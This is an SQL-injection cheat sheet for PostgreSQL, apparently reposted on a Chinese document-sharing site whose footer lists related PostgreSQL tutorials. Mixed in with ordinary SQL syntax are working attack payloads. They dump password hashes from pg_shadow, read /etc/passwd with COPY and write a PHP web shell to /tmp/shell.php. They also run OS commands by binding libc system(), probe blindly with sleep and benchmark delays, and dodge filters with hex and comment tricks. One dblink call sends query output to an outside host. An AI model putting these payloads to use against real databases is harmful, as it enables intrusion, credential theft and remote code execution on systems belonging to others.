#PostgreSQL and PHP supports Batched Queries.
#Awesome, huh? (是不是很酷?)
Version:
SELECT VERSION()
Directories:
SELECT current_setting(‘data_directory’)
SELECT current_setting(‘hba_file’)
SELECT current_setting(‘config_file’)
SELECT current_setting(‘ident_file’)
SELECT current_setting(‘external_pid_file’)
Users:
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();
Current Database:
SELECT current_database();
Concatenation:
SELECT 1||2||3; #Returns 123
Get Collation:
SELECT pg_client_encoding(); #Returns your current encoding (collation).
Change Collation:
SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.
SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.
SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.
SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.
Wildcards in SELECT(s):
SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.
SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.
Regular Expression in SELECT(s):
#Returns all columns matching the regular expression.
SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;
SELECT Without Dublicates:
SELECT DISTINCT foo FROM bar
Counting Columns:
SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.
Get Amount of PostgreSQL Users:
SELECT COUNT(*) FROM pg_catalog.pg_user
Get PostgreSQL Users:
SELECT usename FROM pg_user
Get PostgreSQL User Privileges on Different Columns:
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges
Get PostgreSQL User Privileges:
SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user
Get PostgreSQL User Credentials & Privileges:
SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow
Get PostgreSQL DBA Accounts:
SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE
Get Databases:
SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables
Get Databases & Tables:
SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns
Get Databases, Tables & Columns:
SELECT table_schema,table_name,column_name FROM information_schema.columns
SELECT A Certain Row:
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.
…
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.
Conversion (Casting):
SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.
Substring:
SELECT SUBSTR(‘foobar’,1,3); #Returns foo.
SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.
Hexadecimal Evasion:
#Not as fancy as in MySQL, but it sure works!
SELECT decode(’41424344′,’hex’); #Returns ABCD.
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.
ASCII to Number:
SELECT ASCII(‘A’); #Returns 65.
Number to ASCII:
SELECT CHR(65); #Returns A.
If Statement:
#Impossible in SELECT statements.
#However, here’s a work-around with sub-select(s).
SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.
Case Statement:
#May be used instead of the If-Statement.
SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.
Read File(s):
CREATE TABLE file(content text);
COPY file FROM ‘/etc/passwd’;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;
…
UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;
Write File(s):
CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (‘<?PHP $s=$_GET;@chdir($s[/'x/']);echo@system($s[/'y/'])?>’);
COPY file(content) TO ‘/tmp/shell.php’;
Logical Operator(s):
#http://en.wikipedia.org/wiki/Logical_connective
AND
OR
NOT
Comments:
SELECT foo, bar FROM foo.bar/*Multi line comment*/
SELECT foo, bar FROM foo.bar–Single line comment
A few evasions/methods to use between your PostgreSQL statements:
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #Most commonly used. You know what a space is.
Multiline Comment (/**/); #Well, as the name says.
Parenthesis, ( and ); #Can also be used as separators when used right.
Parenthesis instead of space:
#As said two lines above, the use of parenthesis can be used as a separator.
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));
Auto-Casting to Right Collation:
SELECT CONVERT_TO(‘foobar’,pg_client_encoding());
Benchmark:
#Takes about 7.5 seconds to perform this logical operation.
#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.
SELECT (||/(9999!));
Sleep:
SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.
Get PostgreSQL IP:
SELECT inet_server_addr()
Get PostgreSQL Port:
SELECT inet_server_port()
Command Execution:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;
SELECT system(‘echo Hello.’);
DNS Requests (OOB (Out-Of-Band)):
SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);
Having Fun With PostgreSQL:
- dblink: The Root Of All Evil
- Mapping Library Functions
- From Sleeping and Copying In PostgreSQL 8.2
- Recommendation and Prevention
- Introducing pgshell
分享到:
相关推荐
postgresql中常用小语法
文档中记录了Postgresql数据库的一些常用的监控命令,例如阻塞锁、表占用空间的大小
PostgreSQL 常用命令和语句查询表,包括 psql 客户端工具使用、数据库和模式管理、用户和权限管理、表管理、表空间管理、索引、查询语句、DML 语句、事务控制、视图、存储过程/触发器、备份恢复等。
Postgresql ALTER语句常用操作小结
postgresql 小技巧 postgresql 中select语句各种用法,语法说明
postgresql 管理常用命令总结,汇总方便查询使用,各种命令均已经被测试使用过
\d [ table ] 列出数据库中的表 或(如果声明了)表 table 的列/字段 \l 列出服务器上所有数据库. \dt 只列出非系统表. ……
postgresql 兼容 oracle 函数, postgresql 兼容 oracle 函数,postgresql 兼容 oracle 函数, postgresql 兼容 oracle 函数
PostgreSQL常用基本语法和几条简单技巧,包含 字段自增长 数据库内文本类转数字等
PostgreSQL数据类型,以及与oracle数据类型的对应
PostgreSQL PostgreSQL PostgreSQL学习手册 学习手册 学习手册 (常用数据类型 常用数据类型 常用数据类型 ) 16 一、数值类型: 一、数值类型: 一、数值类型: .16 六、数组: 六、数组: .22 PostgreSQL PostgreSQL...
PostgreSQL常用语法收集,Postgresql 当中有四种方式获取当前时间。时间格式化,时间间隔计算等等
postgresql
PostgreSQL常用命令 psql 国内的资源少啊。
postgresql常用的命令,在linux下对postgresql操作的常用命令.
PostgreSQL数据库对象名大小写敏感
PostgreSQL(postgresql-13.5.tar.bz2) PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的POSTGRES,4.2版本为基础的对象关系型数据库管理系统。...
postgresql PGCA 课程PPT01_postgresql_PGCA_PGCP_PGCM_课程全免费 postgresql PGCA 课程PPT01_postgresql_PGCA_PGCP_PGCM_课程全免费 postgresql PGCA 课程PPT01_postgresql_PGCA_PGCP_PGCM_课程全免费 postgresql ...
PostgreSQL学习手册(常用数据类型) PostgreSQL学习手册(函数和操作符<一>) PostgreSQL学习手册(函数和操作符<二>) PostgreSQL学习手册(函数和操作符<三>) PostgreSQL学习手册(索引) PostgreSQL学习手册(事物隔离) ...